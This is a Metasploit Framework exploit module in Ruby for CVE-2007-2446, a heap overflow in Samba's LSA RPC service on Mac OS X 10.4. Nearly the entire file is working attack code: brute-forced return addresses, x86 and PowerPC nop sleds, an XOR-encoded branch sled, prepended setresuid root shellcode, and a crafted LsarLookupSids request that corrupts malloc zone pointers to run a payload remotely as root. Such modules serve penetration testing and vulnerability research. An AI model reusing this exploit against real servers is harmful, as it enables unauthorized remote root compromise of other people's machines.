## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' module Msf class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote include Exploit::Remote::DCERPC include Exploit::Remote::SMB include Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'Samba lsa_io_trans_names Heap Overflow', 'Description' => %q{ This module triggers a heap overflow in the LSA RPC service of the Samba daemon. This module uses the szone_free() to overwrite the size() pointer in initial_malloc_zones structure. }, 'Author' => [ 'Ramon de Carvalho Valle ', 'Adriano Lima ', 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ ['CVE', '2007-2446'], ], 'Privileged' => true, 'Payload' => { 'Space' => 1024, }, 'Platform' => 'osx', 'Targets' => [ ['Mac OS X 10.4.x x86 Samba 3.0.10', { 'Platform' => 'osx', 'Arch' => [ ARCH_X86 ], 'Nops' => 4 * 1024, 'Bruteforce' => { 'Start' => { 'Ret' => 0x0181c000 }, 'Stop' => { 'Ret' => 0x01820000 }, 'Step' => 256, }, 'Payload' => { # setresuid(0, 0, 0) 'Prepend' => "\x31\xc0\x50\x50\x50\x50\x66\xb8\x37\x01\xcd\x80", } } ], ['Mac OS X 10.4.x PPC Samba 3.0.10', { 'Platform' => 'osx', 'Arch' => [ ARCH_PPC ], 'Nops' => 1600, 'Bruteforce' => { 'Start' => { 'Ret' => 0x0181c000 }, 'Stop' => { 'Ret' => 0x01830000 }, 'Step' => 796, } } ], ['DEBUG', { 'Platform' => 'osx', 'Arch' => [ ARCH_X86 ], 'Nops' => 4 * 1024, 'Bruteforce' => { 'Start' => { 'Ret' => 0xaabbccdd }, 'Stop' => { 'Ret' => 0xaabbccdd }, 'Step' => 0, } } ], ], 'DisclosureDate' => 'May 14 2007' )) register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']), ], self.class) end # Handle a strange byteswapping issue on PPC def ppc_byteswap(addr) data = [addr].pack('N') (data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0] end def brute_exploit(target_addrs) # Create the real nop sled if(not @nops) if (target['Nops'] > 0) print_status("Creating nop sled....") @nops = make_nops(target['Nops']) else @nops = '' end end print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret']) pipe = datastore['SMBPIPE'].downcase print_status("Connecting to the SMB service...") connect() smb_login() datastore['DCERPC::fake_bind_multi'] = false handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") num_entries = 256 num_entries2 = 257 # first talloc_chunk # 16 bits align # 16 bits sid_name_use # 16 bits uni_str_len # 16 bits uni_max_len # 32 bits buffer # 32 bits domain_idx buf = (('A' * 16) * num_entries) # padding buf << 'A' * 4 # # Use the szone_free() to overwrite the size() pointer in # initial_malloc_zones structure. # size_pointer = 0x1800008 # Initial nops array nops = '' # x86 if (target.arch.include?(ARCH_X86)) # # 0x357b ^ ( 0x1800004 ^ 0x42424242 ) = 0x43c2773d # # 0: 3d 77 c2 43 42 cmpl $0x4243c277,%eax # # # 0: 3d 77 c2 43 42 cmpl $0x4243c277,%eax # 5: 42 incl %edx # 6: 42 incl %edx # 7: 42 incl %edx # 8: 04 00 addb $0x0,%al # a: 80 01 42 addb $0x42,(%ecx) # # Nop block nops = "\x42" * (@nops.length) # Pointers buf << [target_addrs['Ret']].pack('V') buf << [size_pointer - 4].pack('V') # padding buf << "A" * (256 - 12) # PPC else # # The first half of the nop sled is an XOR encoded branch # instruction. The second half is a series of unencoded nop # instructions. The result is: # # > This is the decoded branch instruction # 0x181c380: bl 0x181c6a0 # # > The size pointer is written below this # 0x181c384: .long 0x1800004 # # > Followed by the encoded branch sled # 0x181c388: ba 0x180365c # [ ... ] # # > The branch lands in the normal nop sled # 0x181c6a0: andi. r17,r16,58162 # [ ... ] # # > Finally we reach our payload :-) # size_pointer = size_pointer - 4 sled = target['Nops'] jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N') nops = (jump * (sled / 8)) + @nops[0, sled / 8] addr_size = ppc_byteswap(size_pointer) addr_ret = ppc_byteswap(target_addrs['Ret']) # This oddness is required for PPC buf << [addr_size].pack('N') buf << [addr_ret ].pack('N')[2,2] buf << [addr_ret ].pack('N') # padding buf << "A" * (256 - 10) end stub = lsa_open_policy(dcerpc) stub << NDR.long(0) # num_entries stub << NDR.long(0) # ptr_sid_enum stub << NDR.long(num_entries) # num_entries stub << NDR.long(0x20004) # ptr_trans_names stub << NDR.long(num_entries2) # num_entries2 stub << buf stub << nops stub << payload.encoded print_status("Calling the vulnerable function...") begin # LsarLookupSids dcerpc.call(0x0f, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply print_good('Server did not respond, this is expected') rescue Rex::Proto::DCERPC::Exceptions::Fault print_error('Server is most likely patched...') rescue => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_good('Server disconnected, this is expected') else print_error("Error: #{e.class}: #{e.to_s}") end end handler disconnect end def lsa_open_policy(dcerpc, server="\\") stubdata = # Server NDR.uwstring(server) + # Object Attributes NDR.long(24) + # SIZE NDR.long(0) + # LSPTR NDR.long(0) + # NAME NDR.long(0) + # ATTRS NDR.long(0) + # SEC DES # LSA QOS PTR NDR.long(1) + # Referent NDR.long(12) + # Length NDR.long(2) + # Impersonation NDR.long(1) + # Context Tracking NDR.long(0) + # Effective Only # Access Mask NDR.long(0x02000000) res = dcerpc.call(6, stubdata) dcerpc.last_response.stub_data[0,20] end end end